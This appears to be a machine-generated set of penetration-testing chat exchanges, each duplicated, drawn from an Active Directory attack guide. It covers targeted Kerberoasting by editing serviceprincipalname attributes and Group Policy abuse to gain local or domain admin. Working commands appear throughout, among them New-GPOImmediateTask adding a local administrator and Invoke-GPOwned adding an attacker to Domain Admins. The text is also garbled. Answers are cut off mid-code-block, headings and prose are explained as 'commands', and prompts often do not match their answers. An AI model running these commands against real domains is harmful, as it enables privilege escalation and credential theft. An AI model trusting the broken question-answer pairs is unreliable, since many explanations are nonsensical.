[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Clear the SPNs of the target account?

[Assistant]
$User | Select serviceprincipalname
Set-DomainObject -Identity victimuser -Clear serviceprincipalname
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Clear the SPNs of the target account?

Response:
$User | Select serviceprincipalname
Set-DomainObject -Identity victimuser -Clear serviceprincipalname
``

The Invoke-PassTheCert fork can also be used, authenticating through Schannel via PassTheCert.

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
``powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 1) work?

[Assistant] Invoke-PassTheCert -Action 'AddValueInAttribute' -LdapConnection $LdapConnection -Object 'CN=VICTIM VU. USER,CN=Users,DC=X' -Attribute 'serviceprincipalname' -Value 'nonexistent/BLAHBLAH'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 1) work?

Response: Invoke-PassTheCert -Action 'AddValueInAttribute' -LdapConnection $LdapConnection -Object 'CN=VICTIM VU. USER,CN=Users,DC=X' -Attribute 'serviceprincipalname' -Value 'nonexistent/BLAHBLAH'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 1)?

[Assistant] Invoke-PassTheCert -Action 'AddValueInAttribute' -LdapConnection $LdapConnection -Object 'CN=VICTIM VU. USER,CN=Users,DC=X' -Attribute 'serviceprincipalname' -Value 'nonexistent/BLAHBLAH'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 1)?

Response: Invoke-PassTheCert -Action 'AddValueInAttribute' -LdapConnection $LdapConnection -Object 'CN=VICTIM VU. USER,CN=Users,DC=X' -Attribute 'serviceprincipalname' -Value 'nonexistent/BLAHBLAH'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 2, same as method 1)?

[Assistant]
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'Kerberoasting' -Target 'CN=VICTIM VU. USER,CN=Users,DC=X' -SPN 'nonexistent/BLAHBLAH'
```

:::

Once the Kerberoast hash is obtained, it can possibly be cracked to recover the account's password if the password used is weak enough.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 2, same as method 1)?

Response:
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'Kerberoasting' -Target 'CN=VICTIM VU. USER,CN=Users,DC=X' -SPN 'nonexistent/BLAHBLAH'
```

:::

Once the Kerberoast hash is obtained, it can possibly be cracked to recover the account's password if the password used is weak enough.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 2, same as method 1)

[Assistant]
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'Kerberoasting' -Target 'CN=VICTIM VU. USER,CN=Users,DC=X' -SPN 'nonexistent/BLAHBLAH'
```

:::

Once the Kerberoast hash is obtained, it can possibly be cracked to recover the account's password if the password used is weak enough.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Add the 'nonexistent/BLAHBLAH' value into the target's serviceprincipalname attribute (method 2, same as method 1)

Response:
Invoke-PassTheCert -Action 'LDAPExploit' -LdapConnection $LdapConnection -Exploit 'Kerberoasting' -Target 'CN=VICTIM VU. USER,CN=Users,DC=X' -SPN 'nonexistent/BLAHBLAH'
```

:::

Once the Kerberoast hash is obtained, it can possibly be cracked to recover the account's password if the password used is weak enough.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Group policies - Theory?

[Assistant]
"Group Policy" is a management feature of Active Directory. It allows admins to manage computers and users. Group Policy Objetcs (GPOs) make up Group Policies. GPOs are associated to AD objects (sites, domains, organizational units (OUs)).

> Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer.
>
> adsecurity.org

In certain scenarios, an attacker can gain control over GPOs. Some ACEs can give that control (see this BlackHat talk, page 28):

* WriteProperty to the GPC-File-Sys-Path property of a GPO (specific GUID specified)
* GenericAll, GenericWrite, WriteProperty to any property (no GUID specified)
* WriteDacl, WriteOwner

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
"Group Policy" is a management feature of Active Directory. It allows admins to manage computers and users. Group Policy Objetcs (GPOs) make up Group Policies. GPOs are associated to AD objects (sites, domains, organizational units (OUs)).

> Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer.
>
> adsecurity.org

In certain scenarios, an attacker can gain control over GPOs. Some ACEs can give that control (see this BlackHat talk, page 28):

* WriteProperty to the GPC-File-Sys-Path property of a GPO (specific GUID specified)
* GenericAll, GenericWrite, WriteProperty to any property (no GUID specified)
* WriteDacl, WriteOwner


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Group policies - Theory?

[Assistant]
"Group Policy" is a management feature of Active Directory. It allows admins to manage computers and users. Group Policy Objetcs (GPOs) make up Group Policies. GPOs are associated to AD objects (sites, domains, organizational units (OUs)).

> Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer.
>
> adsecurity.org

In certain scenarios, an attacker can gain control over GPOs. Some ACEs can give that control (see this BlackHat talk, page 28):

* WriteProperty to the GPC-File-Sys-Path property of a GPO (specific GUID specified)
* GenericAll, GenericWrite, WriteProperty to any property (no GUID specified)
* WriteDacl, WriteOwner

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
"Group Policy" is a management feature of Active Directory. It allows admins to manage computers and users. Group Policy Objetcs (GPOs) make up Group Policies. GPOs are associated to AD objects (sites, domains, organizational units (OUs)).

> Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer.
>
> adsecurity.org

In certain scenarios, an attacker can gain control over GPOs. Some ACEs can give that control (see this BlackHat talk, page 28):

* WriteProperty to the GPC-File-Sys-Path property of a GPO (specific GUID specified)
* GenericAll, GenericWrite, WriteProperty to any property (no GUID specified)
* WriteDacl, WriteOwner


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Group policies - Practice

[Assistant] GPO-based attacks can be conducted with New-GPOImmediateTask (PowerView module), SharpGPOAbuse (C#), or pyGPOabuse (python) and GPOwned (Python) for UNIX-like systems.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Group policies - Practice

Response: GPO-based attacks can be conducted with New-GPOImmediateTask (PowerView module), SharpGPOAbuse (C#), or pyGPOabuse (python) and GPOwned (Python) for UNIX-like systems.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Group policies - Practice

[Assistant] GPO-based attacks can be conducted with New-GPOImmediateTask (PowerView module), SharpGPOAbuse (C#), or pyGPOabuse (python) and GPOwned (Python) for UNIX-like systems.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Group policies - Practice

Response: GPO-based attacks can be conducted with New-GPOImmediateTask (PowerView module), SharpGPOAbuse (C#), or pyGPOabuse (python) and GPOwned (Python) for UNIX-like systems.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Group policies - Immediate Scheduled Task

[Assistant]
An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to.

::: tabs

=== UNIX-like

From UNIX-like systems, a new immediate scheduled task can be created with GPOwned (Python) or added to an existing GPO with pyGPOabuse (Python).

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Group policies - Immediate Scheduled Task

Response:
An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to.

::: tabs

=== UNIX-like

From UNIX-like systems, a new immediate scheduled task can be created with GPOwned (Python) or added to an existing GPO with pyGPOabuse (Python).

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Group policies - Immediate Scheduled Task

[Assistant]
An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to.

::: tabs

=== UNIX-like

From UNIX-like systems, a new immediate scheduled task can be created with GPOwned (Python) or added to an existing GPO with pyGPOabuse (Python).

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Group policies - Immediate Scheduled Task

Response:
An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to.

::: tabs

=== UNIX-like

From UNIX-like systems, a new immediate scheduled task can be created with GPOwned (Python) or added to an existing GPO with pyGPOabuse (Python).

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe GPOwned (buggy, not to use in production) - execute something (e.g. calc.exe) in the context of penetration testing

[Assistant] GPOwned -u 'user' -p 'password' -d 'domain' -dc-ip 'domaincontroller' -gpoimmtask -name '{12345677-ABCD-9876-ABCD-123456789012}' -author 'DOMAIN\Administrator' -taskname 'Some name' -taskdescription 'Some description' -dstpath 'c:\windows\system32\calc.exe'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe GPOwned (buggy, not to use in production) - execute something (e.g. calc.exe) in the context of penetration testing

Response: GPOwned -u 'user' -p 'password' -d 'domain' -dc-ip 'domaincontroller' -gpoimmtask -name '{12345677-ABCD-9876-ABCD-123456789012}' -author 'DOMAIN\Administrator' -taskname 'Some name' -taskdescription 'Some description' -dstpath 'c:\windows\system32\calc.exe'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for GPOwned (buggy, not to use in production) - execute something (e.g. calc.exe)?

[Assistant] GPOwned -u 'user' -p 'password' -d 'domain' -dc-ip 'domaincontroller' -gpoimmtask -name '{12345677-ABCD-9876-ABCD-123456789012}' -author 'DOMAIN\Administrator' -taskname 'Some name' -taskdescription 'Some description' -dstpath 'c:\windows\system32\calc.exe'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for GPOwned (buggy, not to use in production) - execute something (e.g. calc.exe)?

Response: GPOwned -u 'user' -p 'password' -d 'domain' -dc-ip 'domaincontroller' -gpoimmtask -name '{12345677-ABCD-9876-ABCD-123456789012}' -author 'DOMAIN\Administrator' -taskname 'Some name' -taskdescription 'Some description' -dstpath 'c:\windows\system32\calc.exe'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about pyGPOabuse, update an existing GPO - add a local admin

[Assistant]
pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
``

=== Windows

From Windows, a new immediate scheduled task can be created with Powerview's New-GPOImmediateTask module (Powershell). In the following example, a user is added to the local administrators group.

`bash
New-GPOImmediateTask -Verbose -Force -TaskName 'TaskName' -GPODisplayName 'GPODisplayName' -Command cmd -CommandArguments "/c net localgroup administrators shutdown /add"
`

After a successful execution, the scheduled task can be removed with the following command.

`bash
New-GPOImmediateTask -Force -Remove -GPODisplayName 'GPODisplayName'
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about pyGPOabuse, update an existing GPO - add a local admin

Response:
pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
``

=== Windows

From Windows, a new immediate scheduled task can be created with Powerview's New-GPOImmediateTask module (Powershell). In the following example, a user is added to the local administrators group.

`bash
New-GPOImmediateTask -Verbose -Force -TaskName 'TaskName' -GPODisplayName 'GPODisplayName' -Command cmd -CommandArguments "/c net localgroup administrators shutdown /add"
`

After a successful execution, the scheduled task can be removed with the following command.

`bash
New-GPOImmediateTask -Force -Remove -GPODisplayName 'GPODisplayName'
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do pyGPOabuse, update an existing GPO - add a local admin

[Assistant]
pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
``

=== Windows

From Windows, a new immediate scheduled task can be created with Powerview's New-GPOImmediateTask module (Powershell). In the following example, a user is added to the local administrators group.

`bash
New-GPOImmediateTask -Verbose -Force -TaskName 'TaskName' -GPODisplayName 'GPODisplayName' -Command cmd -CommandArguments "/c net localgroup administrators shutdown /add"
`

After a successful execution, the scheduled task can be removed with the following command.

`bash
New-GPOImmediateTask -Force -Remove -GPODisplayName 'GPODisplayName'
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do pyGPOabuse, update an existing GPO - add a local admin

Response:
pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
``

=== Windows

From Windows, a new immediate scheduled task can be created with Powerview's New-GPOImmediateTask module (Powershell). In the following example, a user is added to the local administrators group.

`bash
New-GPOImmediateTask -Verbose -Force -TaskName 'TaskName' -GPODisplayName 'GPODisplayName' -Command cmd -CommandArguments "/c net localgroup administrators shutdown /add"
`

After a successful execution, the scheduled task can be removed with the following command.

`bash
New-GPOImmediateTask -Force -Remove -GPODisplayName 'GPODisplayName'
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do pyGPOabuse, update an existing GPO - add a local admin

[Assistant]
=== Windows

From Windows, a new immediate scheduled task can be created with [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)'s [New-GPOImmediateTask](https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122) module (Powershell). In the following example, a user is added to the local administrators group.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

From Windows, a new immediate scheduled task can be created with [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)'s [New-GPOImmediateTask](https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122) module (Powershell). In the following example, a user is added to the local administrators group.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for pygpoabuse, update an existing gpo - add a local admin. pyGPOabuse, update an existing GPO - add a local admin

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for pygpoabuse, update an existing gpo - add a local admin. pyGPOabuse, update an existing GPO - add a local admin


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the After command to pygpoabuse, update an existing gpo - add a local admin

[Assistant] After a successful execution, the scheduled task can be removed with the following command.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the After command to pygpoabuse, update an existing gpo - add a local admin

Response: After a successful execution, the scheduled task can be removed with the following command.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out pyGPOabuse, update an existing GPO - add a local admin during a pentest?

[Assistant] After a successful execution, the scheduled task can be removed with the following command.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out pyGPOabuse, update an existing GPO - add a local admin during a pentest?

Response: After a successful execution, the scheduled task can be removed with the following command.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `After a successful execution, the scheduled task can be removed with the following command.`?

[Assistant] This command is used for pygpoabuse, update an existing gpo - add a local admin. pyGPOabuse, update an existing GPO - add a local admin

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `After a successful execution, the scheduled task can be removed with the following command.`?

Response: This command is used for pygpoabuse, update an existing gpo - add a local admin. pyGPOabuse, update an existing GPO - add a local admin


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Group policies - Manually adding a user to the local admin group

[Assistant]
An attacker can also manually add a user to the local administrator group. This can be achieved with the Group Policy Management Editor.

Step 1: create the user

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Create > User name:

Step 2: add the user to the local admin group

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Update > Group name :  > Members: Add:

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Group policies - Manually adding a user to the local admin group

Response:
An attacker can also manually add a user to the local administrator group. This can be achieved with the Group Policy Management Editor.

Step 1: create the user

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Create > User name:

Step 2: add the user to the local admin group

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Update > Group name :  > Members: Add:


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Group policies - Manually adding a user to the local admin group?

[Assistant]
An attacker can also manually add a user to the local administrator group. This can be achieved with the Group Policy Management Editor.

Step 1: create the user

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Create > User name:

Step 2: add the user to the local admin group

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Update > Group name :  > Members: Add:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Group policies - Manually adding a user to the local admin group?

Response:
An attacker can also manually add a user to the local administrator group. This can be achieved with the Group Policy Management Editor.

Step 1: create the user

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Create > User name:

Step 2: add the user to the local admin group

Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Update > Group name :  > Members: Add:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Group policies - MultiTasking Attack

[Assistant]
In a scenario where a domain admin session is present on a workstation/server which is not a domain controller, an attacker can edit the GPO to add a two-stage scheduled task that escalates to domain admin when controlling a GPO linked to the correlating OU. The attack creates an immediate task that executes as NT Authority\SYSTEM, using SYSVOL as an open share to drop a batch file, which then registers a second scheduled task running with "highest available privileges". The second task executes in the context of the domain admin, adding the attacker to the domain admins group.

::: tabs

=== Windows

Using Invoke-GPOwned:

``powershell
Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Group policies - MultiTasking Attack

Response:
In a scenario where a domain admin session is present on a workstation/server which is not a domain controller, an attacker can edit the GPO to add a two-stage scheduled task that escalates to domain admin when controlling a GPO linked to the correlating OU. The attack creates an immediate task that executes as NT Authority\SYSTEM, using SYSVOL as an open share to drop a batch file, which then registers a second scheduled task running with "highest available privileges". The second task executes in the context of the domain admin, adding the attacker to the domain admins group.

::: tabs

=== Windows

Using Invoke-GPOwned:

``powershell
Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Group policies - MultiTasking Attack?

[Assistant]
In a scenario where a domain admin session is present on a workstation/server which is not a domain controller, an attacker can edit the GPO to add a two-stage scheduled task that escalates to domain admin when controlling a GPO linked to the correlating OU. The attack creates an immediate task that executes as NT Authority\SYSTEM, using SYSVOL as an open share to drop a batch file, which then registers a second scheduled task running with "highest available privileges". The second task executes in the context of the domain admin, adding the attacker to the domain admins group.

::: tabs

=== Windows

Using Invoke-GPOwned:

``powershell
Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Group policies - MultiTasking Attack?

Response:
In a scenario where a domain admin session is present on a workstation/server which is not a domain controller, an attacker can edit the GPO to add a two-stage scheduled task that escalates to domain admin when controlling a GPO linked to the correlating OU. The attack creates an immediate task that executes as NT Authority\SYSTEM, using SYSVOL as an open share to drop a batch file, which then registers a second scheduled task running with "highest available privileges". The second task executes in the context of the domain admin, adding the attacker to the domain admins group.

::: tabs

=== Windows

Using Invoke-GPOwned:

``powershell
Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"
``

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the Invoke-GPOwned command to group policies - multitasking attack

[Assistant] Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the Invoke-GPOwned command to group policies - multitasking attack

Response: Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Group policies - MultiTasking Attack?

[Assistant] Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Group policies - MultiTasking Attack?

Response: Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Invoke-GPOwned -GPOName "Target_GPO_Name"  -LoadDLL ".\Microsoft.ActiveDirectory.Management.dll" -User "Attacker" -DA -ScheduledTasksXMLPath ".\ScheduledTasks.xml" -SecondTaskXMLPath ".\wsadd.xml" -Author "DA_User" -SecondXMLCMD "/r net group 'Domain Admins' <Attacker> /add /domain"`?

[Assistant] This command is used for group policies - multitasking attack. MultiTasking Attack

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

